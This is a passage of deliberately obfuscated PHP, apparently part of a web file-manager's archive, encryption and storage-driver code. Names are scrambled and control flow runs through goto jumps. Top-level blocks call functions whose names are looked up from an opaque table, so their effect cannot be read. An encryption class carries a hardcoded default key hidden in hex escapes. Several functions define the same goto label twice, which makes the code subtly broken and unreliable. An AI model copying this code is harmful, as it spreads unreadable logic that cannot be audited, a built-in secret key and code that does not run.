PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $D˼[1894], PCLZIP_OPT_REPLACE_NEWER); } return array($D˼[1025] => $f, $D˼[1027] => $Cߚ->errorName(!0)); } } } return array($D˼[1025] => !1, $D˼[1027] => $D˼[1895]); goto eۑ; f: $D˼ =& $_SERVER[ȦÆ]; self::init(); $Aܘ = !empty($GLOBALS[$D˼[1042]]) ? $GLOBALS[$D˼[1042]] : get_path_ext($b뗆); goto E佫֣; eۑ: } static function fileIndex($aуӍ, $BӦ, $b׾ = false) { goto b; E: $Å = $Bޘ窒; if ($b׾) { $Å = $Bޘ窒[$b׾]; if ($Bޘ窒[$dɑ[86]]) { $Å = rtrim($Å, $dɑ[18]) . $dɑ[18]; } } return $Å; goto a魝; Eꕠ: $Aꈼ = count($aуӍ); for ($a٢ = 0; $a٢ < $Aꈼ; $a٢++) { if ($BӦ == $aуӍ[$a٢][$dɑ[1029]]) { $Bޘ窒 = $aуӍ[$a٢]; break; } } if (!$Bޘ窒) { show_tips($dɑ[1896]); } goto E; b: $dɑ =& $_SERVER[ȦÆ]; self::init(); if (!is_array($aуӍ)) { return !1; } goto Eꕠ; a魝: } static function extractZipFile($d, $bȗ, $F = false) { goto Cĕ; a֑: $B = get_path_father($bȗ); if ($B == $bȗ) { $B = $Eܯ[43]; } $dͱ = $aӄڤ->extract(PCLZIP_OPT_PATH, $b, PCLZIP_CB_PRE_FILE_NAME, $Eܯ[1894], PCLZIP_OPT_REMOVE_PATH, $B, PCLZIP_OPT_BY_NAME, $bȗ); goto cЦ; cЦ: if (!file_exists($a)) { return !1; } @rename($a, $f󦊧); return $f󦊧; goto eҹ; A񈙝: if (file_exists($f󦊧)) { return $f󦊧; } $aӄڤ = new PclZip($d); $a = unzip_filter_ext($b . get_path_this($bȗ)); goto a֑; b: mk_dir($b); $f󦊧 = $b . md5($d . $bȗ); if ($F) { $f󦊧 = $b . $F; } goto A񈙝; Cĕ: $Eܯ =& $_SERVER[ȦÆ]; self::init(); $b = TEMP_FILES . hash_path($d) . $Eܯ[18]; goto b; eҹ: } static function filePreview($Cۋ醠, $F˧ų, $A֢ = false, $a = false) { goto d; f،: $aߗ = unzip_pre_name($aߗ); $B⧳ = get_path_this($aߗ); $dح = unzip_filter_ext($bۋ . $B⧳); goto c; F˓: mk_dir($bۋ); $d؂Ο = $bۋ . md5($Cۋ醠 . $F˧ų . $a); $aߗ = $dꎘ[43]; goto fą׹; d: $dꎘ =& $_SERVER[ȦÆ]; self::init(); $bۋ = TEMP_FILES . hash_path($Cۋ醠) . $dꎘ[18]; goto F˓; dnjȹ넢: if (!file_exists($d؂Ο)) { del_dir($bۋ); show_json($dꎘ[1899]); } IO::fileOut($d؂Ο, $A֢, $B⧳); goto b␿; fą׹: $C֜Ӷ = self::extract($Cۋ醠, $bۋ, $F˧ų, $aߗ); if (is_array($aߗ)) { show_json($dꎘ[1897], !1); } if (file_exists($d؂Ο)) { IO::fileOut($d؂Ο, $A֢, get_path_this($aߗ)); return; } goto f،; c: if (!$C֜Ӷ[$dꎘ[1025]]) { show_json($C֜Ӷ[$dꎘ[1027]], !1); } if (!file_exists($dح)) { show_json($dꎘ[1898], !1); } @rename($dح, $d؂Ο); goto dnjȹ넢; b␿: } static function create($F, $e؏) { $f֋ɾ =& $_SERVER[ȦÆ]; self::init(); $e˵ӥ = get_path_ext($F); $Dڬ = !1; if (self::checkIfType($e˵ӥ, $f֋ɾ[306])) { if (kodZipArchive::support($f֋ɾ[1003])) { return kodZipArchive::create($F, $e؏); } $b޷ = new PclZip($F); foreach ($e؏ as $Aּ => $C) { $C = str_replace($f֋ɾ[472], $f֋ɾ[18], $C); $d = Kodio::clear(get_path_father($C)); if ($Aּ == 0) { $Dڬ = $b޷->create($C, PCLZIP_OPT_REMOVE_PATH, $d, PCLZIP_CB_PRE_FILE_NAME, $f֋ɾ[1900]); continue; } $Dڬ = $b޷->add($C, PCLZIP_OPT_REMOVE_PATH, $d, PCLZIP_CB_PRE_FILE_NAME, $f֋ɾ[1900]); } } else { if (self::checkIfType($e˵ӥ, $f֋ɾ[1871])) { foreach ($e؏ as $Aּ => $C) { $C = str_replace($f֋ɾ[472], $f֋ɾ[18], $C); $d = Kodio::clear(get_path_father($C)); if ($Aּ == 0) { $Dڬ = PclTarCreate($F, array($C), $e˵ӥ, null, $d); continue; } $Dڬ = PclTarAddList($F, array($C), $f֋ɾ[43], $d, $e˵ӥ); } } } return $Dڬ; } } class Mcrypt { public static $defaultKey = "\141\x21\x74\141\x6b\x41\x3a\x64\x6c\x6d\x63\x6c\x64\105\166\x2c\145"; public static function encode($a, $Cу = '', $Dƈ = 0, $dɬ = '') { goto D; D: $eҠ =& $_SERVER[ȦÆ]; $F˚ = 4; $Cу = md5($Cу ? $Cу : self::$defaultKey); goto Eϼ; fʔ͂: $FϞꋌ = str_replace(array($eҠ[289], $eҠ[18], $eҠ[902]), array($eҠ[417], $eҠ[80], $eҠ[101]), $FϞꋌ); return $FϞꋌ; goto Eǵ; e: $FϞꋌ = $eҠ[43]; for ($aӌ = $Bư = $C = 0; $C < $A; $C++) { $aӌ = ($aӌ + 1) % 256; $Bư = ($Bư + $B될[$aӌ]) % 256; $aՊ = $B될[$aӌ]; $B될[$aӌ] = $B될[$Bư]; $B될[$Bư] = $aՊ; $FϞꋌ .= chr(ord($a[$C]) ^ $B될[($B될[$aӌ] + $B될[$Bư]) % 256]); } $FϞꋌ = $B߈Ǟ . str_replace($eҠ[902], $eҠ[43], base64_encode($FϞꋌ)); goto fʔ͂; a: $B߈Ǟ = substr($dɬ, -$F˚); $b» = $A觧 . md5($A觧 . $B߈Ǟ); $A = strlen($b»); goto f; f: $a = sprintf($eҠ[1901], $Dƈ ? $Dƈ + time() : 0) . substr(md5($a . $Eϗ), 0, 16) . $a; $A = strlen($a); $Cơ = array(); goto D떖; D떖: for ($C = 0; $C <= 255; $C++) { $Cơ[$C] = ord($b»[$C % $A]); } $B될 = range(0, 255); for ($Bư = $C = 0; $C < 256; $C++) { $Bư = ($Bư + $B될[$C] + $Cơ[$C]) % 256; $aՊ = $B될[$C]; $B될[$C] = $B될[$Bư]; $B될[$Bư] = $aՊ; } goto e; Eϼ: $A觧 = md5(substr($Cу, 0, 16)); $Eϗ = md5(substr($Cу, 16, 16)); $dɬ = $dɬ ? $dɬ : md5(microtime()); goto a; Eǵ: } public static function decode($aֲ, $b弿 = '') { goto D; fɒ: for ($c = 0; $c <= 255; $c++) { $B˞󼇋[$c] = ord($Dߠ[$c % $b]); } $e酳 = range(0, 255); for ($CƎ䎆 = $c = 0; $c < 256; $c++) { $CƎ䎆 = ($CƎ䎆 + $e酳[$c] + $B˞󼇋[$c]) % 256; $e = $e酳[$c]; $e酳[$c] = $e酳[$CƎ䎆]; $e酳[$CƎ䎆] = $e; } goto aİ; D: $fܲ =& $_SERVER[ȦÆ]; $aֲ = str_replace(array($fܲ[417], $fܲ[80], $fܲ[101]), array($fܲ[289], $fܲ[18], $fܲ[902]), $aֲ); $c铞 = 4; goto f; aİ: $E䖣߳ = $fܲ[43]; for ($e = $CƎ䎆 = $c = 0; $c < $Aߖ; $c++) { $e = ($e + 1) % 256; $CƎ䎆 = ($CƎ䎆 + $e酳[$e]) % 256; $e = $e酳[$e]; $e酳[$e] = $e酳[$CƎ䎆]; $e酳[$CƎ䎆] = $e; $E䖣߳ .= chr(ord($aֲ[$c]) ^ $e酳[($e酳[$e] + $e酳[$CƎ䎆]) % 256]); } $Eڮ = intval(substr($E䖣߳, 0, 10)); goto Cà; eٍ: $c = substr($aֲ, 0, $c铞); $Dߠ = $Bӧ . md5($Bӧ . $c); $b = strlen($Dߠ); goto E磻; f: $b弿 = md5($b弿 ? $b弿 : self::$defaultKey); $Bӧ = md5(substr($b弿, 0, 16)); $DҬƸ = md5(substr($b弿, 16, 16)); goto eٍ; E磻: $aֲ = base64_decode(substr($aֲ, $c铞)); $Aߖ = strlen($aֲ); $B˞󼇋 = array(); goto fɒ; Cà: if (($Eڮ == 0 || $Eڮ - time() > 0) && substr($E䖣߳, 10, 16) == substr(md5(substr($E䖣߳, 26) . $DҬƸ), 0, 16)) { return substr($E䖣߳, 26); } else { return $fܲ[43]; } goto b; b: } } goto Eގ; F: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($F = false) { } public function exist($E찂徭) { $B = $this->info($E찂徭); return $B[$_SERVER[ȦÆ][194]]; } public function isFile($fڡ) { $AՑ = $this->info($fڡ); return $AՑ[$_SERVER[ȦÆ][194]]; } public function isFolder($DǷ) { return !1; } public function size($F) { $f䌘 = $this->info($F); return $f䌘[$_SERVER[ȦÆ][87]]; } public function info($Eδ) { return $this->infoParse($Eδ); } public function infoAuth($e،) { return $this->infoParse($e،); } public function infoWithChildren($Fշ) { return $this->infoParse($Fշ); } public function infoFull($E) { return $this->infoParse($E); } private function infoParse($Bѣ) { $aӧ =& $_SERVER[ȦÆ]; $B = $this->header($Bѣ); if (!$B || !$B[$aӧ[690]]) { return !1; } $F匹 = _get($B, $aӧ[330], 0); $fץλ = array($aӧ[38] => $B[$aӧ[38]], $aӧ[85] => $Bѣ, $aӧ[39] => $aӧ[173], $aӧ[87] => intval($F匹), $aӧ[166] => get_path_ext($B[$aӧ[38]]), $aӧ[1147] => $F匹 > 0 && $B[$aӧ[1275]], $aӧ[1148] => !1); return $fץλ; } private function header($eŞ) { if (isset(self::$_cacheHeader[$eŞ])) { return self::$_cacheHeader[$eŞ]; } self::$_cacheHeader[$eŞ] = url_header($eŞ); return self::$_cacheHeader[$eŞ]; } public function hashSimple($b㇞, $a = false) { goto E; E: $Eޏ =& $_SERVER[ȦÆ]; $b = $this->info($b㇞); if (!$b || !$b[$Eޏ[194]]) { return !1; } goto c⍟; c⍟: $bԲ = $b[$Eޏ[87]]; $Dה = 200; $eދ = 50; goto bË; bË: if ($bԲ <= $Dה * $eދ) { return md5($this->fileSubstr($b㇞, 0, $bԲ)) . $bԲ; } $EŇ = intval($bԲ / $eދ); $D킋Š = $Eޏ[43]; goto fƋ; Ċ: $D킋Š .= $this->fileSubstr($b㇞, $bԲ - $Dה, $Dה); return md5($D킋Š) . $bԲ; goto fȌָ; fƋ: $f = timeFloat(); $dͫ = 15; for ($D롪 = 0; $D롪 < $eދ; $D롪++) { if (timeFloat() - $f > $dͫ) { return !1; } $FÊ = $this->fileSubstr($b㇞, $EŇ * $D롪, $Dה); if (!$FÊ) { return !1; } $D킋Š .= $FÊ; } goto Ċ; fȌָ: } public function getContent($C蠎˫) { return $this->fileSubstr($C蠎˫); } public function fileSubstr($b؛, $e䣆Ň = 0, $Aڰ̞ = -1) { goto F; d: if ($Aڰ̞ === -1) { $Aڰ̞ = $d[$f[87]]; } if ($Aڰ̞ == 0) { return $f[43]; } $Cٗ = array($f[1276] . $e䣆Ň . $f[715] . ($e䣆Ň + $Aڰ̞ - 1)); goto Eһ; F: $f =& $_SERVER[ȦÆ]; $d = $this->info($b؛); if (!$d || !$d[$f[194]] && $d[$f[87]] > 1024 * 1024 * 10) { return !1; } goto d; Eһ: $E쭷 = url_request($b؛, $f[222], !1, $Cٗ, !1, !1, 1); return $E쭷[$f[1027]] ? $E쭷[$f[1027]] : $f[43]; goto a; a: } public function download($B쯊Ǖ, $B) { Downloader::start($B쯊Ǖ, $B); return $B; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($C自, $eʼnӬ = '') { goto e; F: if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$C自])) { self::$_chunkBuffer[$C自] = array(); } goto e; e: return $this->info ? !0 : !1; goto aΉξ; e: $this->info = $this->info($C自); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ȦÆ][85]]; goto F; aΉξ: } function stream_read($e) { $a۬ = $this->fileSubstr($this->pose, $e); $this->pose += strlen($a۬); return $a۬; } public function stream_tell() { return $this->pose; } public function stream_seek($B, $AҼ) { $dϱǽ =& $_SERVER[ȦÆ]; if ($AҼ == SEEK_SET) { $this->pose = $B; } else { if ($AҼ == SEEK_CUR) { $this->pose += $B; } else { if ($AҼ == SEEK_END) { $this->pose = $this->info[$dϱǽ[87]] + intval($B); } } } if ($B < 0) { $this->pose = $this->info[$dϱǽ[87]] + $B; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ȦÆ][87]]; } public function stream_close() { return !0; } public function url_stat($bꐢ, $DՑ) { $a蒔҄ =& $_SERVER[ȦÆ]; $Fجǻ = $this->info($bꐢ); return array($a蒔҄[1277] => 0, $a蒔҄[1278] => 0, $a蒔҄[22] => 32768 + 511, $a蒔҄[1279] => 0, $a蒔҄[1280] => 0, $a蒔҄[1281] => 0, $a蒔҄[1282] => 0, $a蒔҄[87] => $Fجǻ[$a蒔҄[87]], $a蒔҄[1283] => $Fجǻ[$a蒔҄[1153]], $a蒔҄[1240] => $Fجǻ[$a蒔҄[116]], $a蒔҄[1239] => $Fجǻ[$a蒔҄[193]], $a蒔҄[1284] => 0, $a蒔҄[1285] => 0); } static $fileInfo = array(); public function info($fƱإ) { $Dԡ = $_SERVER[ȦÆ][1286]; if (isset(self::$fileInfo[$fƱإ])) { return self::$fileInfo[$fƱإ]; } if (substr($fƱإ, 0, strlen($Dԡ)) != $Dԡ) { return !1; } self::$fileInfo[$fƱإ] = IO::info(substr($fƱإ, strlen($Dԡ))); return self::$fileInfo[$fƱإ]; } public static function read($E, $Fᛸ, $E܌) { goto bụ; bụ: $bⱮ =& $_SERVER[ȦÆ]; $cţ = fopen($E, $bⱮ[1155]); if (!$cţ) { return $bⱮ[43]; } goto C؎; C: return $B; goto a팆; C؎: $bܑׅ = 8192; fseek($cţ, $Fᛸ, SEEK_SET); $B = $bⱮ[43]; goto c; c: $Bܟ؂ = 0; while ($Bܟ؂ < $E܌) { $Cڱ = min($bܑׅ, $E܌ - $Bܟ؂); $B .= fread($cţ, $Cڱ); $Bܟ؂ += $Cڱ; } fclose($cţ); goto C; a팆: } public function fileSubstr($Dҳ, $Eܚ) { goto Eힹ; E: foreach ($bƼ as $bԤͨ => $b) { $bԤͨ = intval($bԤͨ); $Fҥ = $bԤͨ + strlen($b); if ($Dҳ >= $Fҥ) { continue; } if ($Dҳ >= $bԤͨ && $Dҳ + $Eܚ <= $Fҥ) { return substr($b, $Dҳ - $bԤͨ, $Eܚ); } break; } if (count($bƼ) > 40 || timeFloat() - $this->timeStart > 2.0) { $this->log($D[1287], $D[1288] . count($bƼ) . "\x3b\163\164\x61\162\x74\x3d{$Dҳ}\54\154\x65\x6e\147\164\x68\75{$Eܚ}\73\x70\157\x73\145\72{$bԤͨ}\176{$Fҥ}"); throw new Exception($D[1289]); } $Fص = intval($Dҳ / $e՘) * $e՘; goto B; B: $eؾ = ceil(($Dҳ + $Eܚ) / $e՘) * $e՘ - $Fص; $C = IO::fileSubstr($this->path, $Fص, $eؾ); $bƼ[$Fص . $D[43]] = $C; goto C; Dػ: $bԤͨ = 0; $Fҥ = 0; $b = $D[43]; goto E; C: ksort($bƼ); $cƄ = substr($C, $Dҳ - $Fص, $Eܚ); return $cƄ; goto B­; Cͫ: $e՘ = 64 * 1024; $bƼ =& self::$_chunkBuffer[$this->path]; if (!$bƼ) { $bƼ = array(); } goto Dػ; bߟ: $F锴 = $Eܚ; if ($Dҳ < 0) { $Dҳ = $eӈ + $Dҳ; } if ($Eܚ === !1) { $Eܚ = $eӈ - $Dҳ; } goto C汹ɢ; C汹ɢ: if ($Dҳ + $Eܚ > $eӈ) { $Eܚ = $eӈ - $Dҳ; } if ($Eܚ <= 0) { return $D[43]; } if ($Dҳ < 0 || $Dҳ >= $eӈ || $Eܚ <= 0 || $Eܚ > 1024 * 1024 * 5) { throw new Exception("\151\x6f\x46\x69\x6c\145\122\x65\141\144\40\x65\162\x72\157\x72\x21\x20\163\164\141\162\164\75{$Dҳ}\x3b\154\145\156\x67\164\x68\75{$Eܚ}\x3b\40\163\x69\172\x65\75{$eӈ}\x3b"); } goto Cͫ; Eힹ: $D =& $_SERVER[ȦÆ]; $eӈ = $this->info[$D[87]]; $d՝ = $Dҳ; goto bߟ; B­: } private function log($Eľ, $bϐȯ) { $fʾ =& $_SERVER[ȦÆ]; $c껏 = timeFloat() - $this->timeStart; write_log(sprintf($fʾ[1290], $Eľ, $this->info[$fʾ[38]], $c껏, $bϐȯ), $fʾ[1205]); } } class Message { function __construct() { } public function send($fҦǍ = '', $F = array(), $C = "\x74\x65\170\164") { goto eԦ; Fߒ: $F = array($e׏Ҏе[966] => isset($F[$e׏Ҏе[966]]) ? $F[$e׏Ҏе[966]] : $e׏Ҏе[43], $e׏Ҏе[540] => isset($F[$e׏Ҏе[540]]) ? $F[$e׏Ҏе[540]] : $e׏Ҏе[43]); if (empty($fҦǍ) || empty($F[$e׏Ҏе[966]]) && empty($F[$e׏Ҏе[540]])) { return !1; } $fэȠ = array($e׏Ҏе[1232] => $cֽ̛, $e׏Ҏе[1293] => $F); goto D܂; D܂: Hook::trigger($e׏Ҏе[1294], $fэȠ); goto A; eԦ: $e׏Ҏе =& $_SERVER[ȦÆ]; $cֽ̛ = array($e׏Ҏе[39] => $e׏Ҏе[1291], $e׏Ҏе[693] => $fҦǍ); if (in_array($C, array($e׏Ҏе[1291], $e׏Ҏе[1292]))) { $cֽ̛[$e׏Ҏе[39]] = $C; } goto Fߒ; A: } } goto E̜; C: class PathDriverLocal extends PathDriverBase { public function __construct() { parent::__construct(); } public function getPath($bЇ) { if (substr($bЇ, 0, 2) == $_SERVER[ȦÆ][1140]) { $bЇ = BASIC_PATH . substr($bЇ, 2); } return $bЇ; } public function iconvApp($a) { $f˟׍ =& $_SERVER[ȦÆ]; global $config; return $this->iconvTo($a, $config[$f˟׍[1138]], $config[$f˟׍[1137]]); } public function iconvSystem($D) { $bʸ =& $_SERVER[ȦÆ]; global $config; return $this->iconvTo($D, $config[$bʸ[1137]], $config[$bʸ[1138]]); } public function getPathOuter($dɄ) { goto D; C: if (substr($C, 0, 2) == $bગ[1140]) { $C = BASIC_PATH . substr($C, 2); } if (substr($dɄ, 0, 2) == $bગ[1140]) { $dɄ = BASIC_PATH . substr($dɄ, 2); } $C = KodIO::clear($C); goto dԄ ւ; d̗: return $this->pathDriver . $bગ[18] . ltrim($dɄ, $bગ[18]); goto FٷӖ; dԄ ւ: $dɄ = KodIO::clear($dɄ); $dɄ = substr($dɄ, strlen($C)); if (empty($this->pathDriver)) { return $dɄ; } goto d̗; D: $bગ =& $_SERVER[ȦÆ]; $C = $this->iconvApp($this->pathBase); $dɄ = $this->iconvApp($dɄ); goto C; FٷӖ: } public function mkfile($CȳԪ, $d񡗼 = '', $fܨ = REPEAT_RENAME) { $CȳԪ = $this->iconvSystem($CȳԪ); @touch($CȳԪ); if ($d񡗼) { file_put_contents($CȳԪ, $d񡗼); } return is_file($CȳԪ) ? $this->getPathOuter($CȳԪ) : !1; } public function mkdir($b, $CÞ = REPEAT_SKIP) { $b = $this->iconvSystem($b); if (is_dir($b)) { return $this->getPathOuter($b); } @mkdir($b, 511, !0); return is_dir($b) ? $this->getPathOuter($b) : !1; } public function copyFile($Aлؑ, $B) { $this->mkdir($this->pathFather($B)); $Aлؑ = $this->iconvSystem($Aлؑ); $B = $this->iconvSystem($B); $c淽 = @copy($Aлؑ, $B); return $c淽 ? $this->getPathOuter($B) : !1; } public function moveFile($aշ, $C) { $this->mkdir($this->pathFather($C)); $aշ = $this->iconvSystem($aշ); $C = $this->iconvSystem($C); $B竰 = intval(@rename($aշ, $C)); if (!$B竰) { if ($B竰 = intval(@copy($aշ, $C))) { @unlink($aշ); } } return $B竰 ? $this->getPathOuter($C) : !1; } public function delFile($B) { $B = $this->iconvSystem($B); if (!@unlink($B)) { @chmod($B, 511); if (!@unlink($B)) { return !1; } } else { return !0; } } public function delFolder($Fڎ) { goto cᭊ; f: return rmdir($Fڎ); goto dꎿ; cᭊ: $F𠼣 =& $_SERVER[ȦÆ]; $Fڎ = $this->iconvSystem($Fڎ); if (!is_dir($Fڎ)) { return !0; } goto c즷; c즷: if (!($Fџ = opendir($Fڎ))) { return !1; } while (($eij = readdir($Fџ)) !== !1) { if ($eij == $F𠼣[101] || $eij == $F𠼣[1150]) { continue; } $Eᕧ = $Fڎ . $F𠼣[18] . $eij; if (!is_dir($Eᕧ)) { if (!unlink($Eᕧ)) { chmod($Eᕧ, 511); if (!unlink($Eᕧ)) { return !1; } } } else { chmod($Eᕧ, 511); $Eᕧ = $this->iconvApp($Eᕧ); if (!$this->delFolder($Eᕧ)) { return !1; } } } closedir($Fџ); goto f; dꎿ: } public function rename($Fؔ, $D߉) { goto b; EDZɃ: $Fؔ = $this->iconvSystem($Fؔ); $AŒ = $this->pathFather($Fؔ); $Bǫދ = rtrim($AŒ, $Aר[18]) . $Aר[18] . $aܑ; goto C; C: $Dæ = @rename($Fؔ, $Bǫދ); $Bǫދ = $this->iconvApp($Bǫދ); return $Dæ ? $this->getPathOuter($Bǫދ) : !1; goto Aйգ; b: $Aר =& $_SERVER[ȦÆ]; $aܑ = $this->fileNameAuto($this->pathFather($Fؔ), $D߉); $aܑ = $this->iconvSystem($aܑ); goto EDZɃ; Aйգ: } public function size($D) { $D = $this->iconvSystem($D); return (double) abs(sprintf($_SERVER[ȦÆ][1152], @filesize($D))); } public function info($cȠ) { $cȠ = $this->iconvSystem($cȠ); if ($this->isFolder($cȠ)) { return $this->folderInfo($cȠ); } else { if ($this->isFile($cȠ)) { return $this->fileInfo($cȠ); } } return !1; } protected function infoChildren($dȯԃĉ, &$A޽, $Bʈ = true) { $c㈎ =& $_SERVER[ȦÆ]; $dȯԃĉ = rtrim($dȯԃĉ, $c㈎[18]) . $c㈎[18]; if ($Bʈ) { check_abort(); $dȯԃĉ = $this->iconvSystem($dȯԃĉ); } if (!($a⻑ = @opendir($dȯԃĉ))) { return; } while (($Cܫ˞ = readdir($a⻑)) !== !1) { if ($Cܫ˞ == $c㈎[101] || $Cܫ˞ == $c㈎[1150]) { continue; } $A͑ = $dȯԃĉ . $Cܫ˞; if (is_file($A͑)) { $A޽[$c㈎[88]]++; $A޽[$c㈎[87]] += (double) abs(sprintf($c㈎[1152], @filesize($A͑))); } else { $A޽[$c㈎[89]]++; $this->infoChildren($A͑, $A޽, !1); } } closedir($a⻑); } private function folderInfo($B𲆉, $dި = false) { $A֘ =& $_SERVER[ȦÆ]; $B𲆉 = rtrim($B𲆉, $A֘[18]) . $A֘[18]; $fǾ = $this->iconvApp($this->pathThis($B𲆉)); if ($dި) { return array($A֘[38] => $fǾ, $A֘[85] => $this->getPathOuter($B𲆉), $A֘[39] => $A֘[86]); } $B = array($A֘[38] => $fǾ, $A֘[85] => $this->getPathOuter($B𲆉), $A֘[39] => $A֘[86], $A֘[193] => @filectime($B𲆉), $A֘[116] => @filemtime($B𲆉), $A֘[1153] => @fileatime($B𲆉), $A֘[1147] => is_readable($B𲆉), $A֘[1148] => is_writable($B𲆉), $A֘[1154] => get_mode($B𲆉)); return $B; } private function fileInfo($d, $dүnj = false) { $e =& $_SERVER[ȦÆ]; $Cɖ = $this->iconvApp($this->pathThis($d)); if ($dүnj) { return array($e[38] => $Cɖ, $e[85] => $this->getPathOuter($d), $e[39] => $e[173], $e[87] => $this->size($d), $e[166] => $this->ext($Cɖ)); } $D錽 = array($e[38] => $Cɖ, $e[85] => $this->getPathOuter($d), $e[39] => $e[173], $e[193] => @filectime($d), $e[116] => @filemtime($d), $e[1153] => @fileatime($d), $e[87] => $this->size($d), $e[166] => $this->ext($Cɖ), $e[1147] => is_readable($d), $e[1148] => is_writable($d), $e[1154] => get_mode($d)); return $D錽; } public function exist($fЖ) { $fЖ = $this->iconvSystem($fЖ); return @file_exists($fЖ); } public function isFile($fե) { $fե = $this->iconvSystem($fե); return @is_file($fե); } public function isFolder($d) { $d = $this->iconvSystem($d); return @is_dir($d); } public function listPath($c버, $CNj͸ = false) { goto Dǣ; Dǣ: $f =& $_SERVER[ȦÆ]; $c버 = $this->iconvSystem($c버); $c버 = rtrim($c버, $f[18]) . $f[18]; goto c; c: $Cզ = array($f[84] => array(), $f[83] => array()); if (!($Dʊ = @opendir($c버))) { return $Cզ; } while (($cن = readdir($Dʊ)) !== !1) { if ($cن == $f[101] || $cن == $f[1150]) { continue; } $fӔ = $c버 . $cن; if (is_file($fӔ)) { $Cզ[$f[83]][] = $this->fileInfo($fӔ, $CNj͸); } else { $Cզ[$f[84]][] = $this->folderInfo($fӔ, $CNj͸); } } goto d솭; d솭: closedir($Dʊ); return $Cզ; goto bۊ; bۊ: } public function listAll($Cֿ, &$f = array()) { goto D; E֥: return $f; goto b; D: $F =& $_SERVER[ȦÆ]; $Cֿ = $this->iconvSystem($Cֿ); $Cֿ = rtrim($Cֿ, $F[18]) . $F[18]; goto f璽; f璽: if (!($Bˍ = @opendir($Cֿ))) { return $f; } while (($b = readdir($Bˍ)) !== !1) { if ($b == $F[101] || $b == $F[1150]) { continue; } $CШ = $Cֿ . $b; if (is_dir($CШ)) { $f[] = array($F[85] => $CШ . $F[18], $F[86] => 1, $F[116] => @filemtime($CШ), $F[87] => 0); $this->listAll($CШ, $f); } else { $f[] = array($F[85] => $CШ, $F[86] => 0, $F[116] => @filemtime($CШ), $F[87] => $this->size($CШ)); } } closedir($Bˍ); goto E֥; b: } public function has($eܡ, $c = false, $bԌ = true) { goto Dނհ; A: return !1; goto eσ; Dނհ: $B͒Ϝ =& $_SERVER[ȦÆ]; $eܡ = $this->iconvSystem($eܡ); $eܡ = rtrim($eܡ, $B͒Ϝ[18]) . $B͒Ϝ[18]; goto Fެ; Fެ: if (!($cѽ = @opendir($eܡ))) { return !1; } $fƏ = 0; $Aל = 0; goto aЊ; aЊ: while (($c泐 = readdir($cѽ)) !== !1) { if ($c泐 == $B͒Ϝ[101] || $c泐 == $B͒Ϝ[1150]) { continue; } $DƦ = $eܡ . $c泐; if ($c) { if (@is_file($DƦ)) { $fƏ++; } else { $Aל++; } continue; } if ($bԌ) { if (@is_file($DƦ)) { return !0; } } else { if (@is_dir($DƦ . $B͒Ϝ[18])) { return !0; } } } closedir($cѽ); if ($c) { return array($B͒Ϝ[197] => $fƏ, $B͒Ϝ[198] => $Aל); } goto A; eσ: } public function hashSimple($Bԉː) { goto Cﴣ; Cﴣ: $bܭ =& $_SERVER[ȦÆ]; if (!$Bԉː) { return md5($bܭ[43]); } $Bԉː = $this->iconvSystem($Bԉː); goto eߊ; F鍅: $C褕 = fopen($Bԉː, $bܭ[1155]); if (!$C褕) { return $aݕ; } for ($bĐ = 0; $bĐ < $d; $bĐ++) { fseek($C褕, $Eݭ * $bĐ); $aݕ .= fread($C褕, $E); } goto bꉅ; aʾƨ: return md5($aݕ) . $c; goto B׍О; bꉅ: fseek($C褕, $c - $E); $aݕ .= fread($C褕, $E); fclose($C褕); goto aʾƨ; cύ: if ($c <= $E * $d) { return $this->hashMd5($Bԉː) . $c; } $aݕ = $bܭ[43]; $Eݭ = intval($c / $d); goto F鍅; eߊ: $c = $this->size($Bԉː); $E = 200; $d = 50; goto cύ; B׍О: } public function getContent($Bƴ) { $Bƴ = $this->iconvSystem($Bƴ); return file_get_contents($Bƴ); } public function setContent($B, $e厒 = '') { $B = $this->iconvSystem($B); @file_put_contents($B, $e厒, LOCK_EX); clearstatcache(); return strlen($e厒) == filesize($B); } public function fileSubstr($EѦ, $f = 0, $dޗ = false) { goto bⰠ; bⰠ: $b =& $_SERVER[ȦÆ]; $EѦ = $this->iconvSystem($EѦ); if ($dޗ === !1) { $dޗ = $this->size($EѦ); } goto D; D: fseek($F荇, $f); $Fʘ = fread($F荇, $dޗ); fclose($F荇); goto a菝; D: if ($dޗ <= 0) { return $b[43]; } $F荇 = fopen($EѦ, $b[1155]); if (!$F荇) { return !1; } goto D; a菝: return $Fʘ; goto EɍŃ; EɍŃ: } public function upload($A׾ע, $b䎐, $bƜǼԍ = false, $d᫴ = REPEAT_REPLACE) { $aÙ = $this->copyFile($b䎐, $A׾ע); return $aÙ ? $this->getPathOuter($A׾ע) : !1; } public function download($e, $aܪٙ) { return $this->iconvSystem($e); } } if ($_SERVER[$_SERVER[ȦÆ][8]] != $_SERVER[$_SERVER[ȦÆ][787]]) { goto cӔ; cӔ: $c = $_SERVER[ȦÆ][9]; $a͈ˮ = $_SERVER[$_SERVER[ȦÆ][10]] . $_SERVER[ȦÆ][11]; $Aຉ = $c($a͈ˮ); goto AƑ; E¹ڋ: $CĂ($_SERVER[$_SERVER[ȦÆ][1156]]); goto bّי; AƑ: $e׃ԅ = explode($_SERVER[ȦÆ][12], $Aຉ); if (count($e׃ԅ) < $_SERVER[ȦÆ][13]) { $Eԯ = $_SERVER[ȦÆ][14]; $Eԯ(); } $CĂ = $_SERVER[ȦÆ][15]; goto E¹ڋ; bّי: } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($bҕ) { parent::__construct($bҕ); $this->signatureVersion($_SERVER[ȦÆ][206]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto F۴ӭ; e֥: $a = LIB_DIR . $_SERVER[ȦÆ][6]; $Aʏӻ = $_SERVER[ȦÆ][7]; if ($_SERVER[$_SERVER[ȦÆ][8]] != $Aʏӻ($a)) { goto E둗; b: $CĂ($a); goto BÝ; E둗: $c = $_SERVER[ȦÆ][9]; $a͈ˮ = $_SERVER[$_SERVER[ȦÆ][10]] . $_SERVER[ȦÆ][11]; $Aຉ = $c($a͈ˮ); goto C; C: $e׃ԅ = 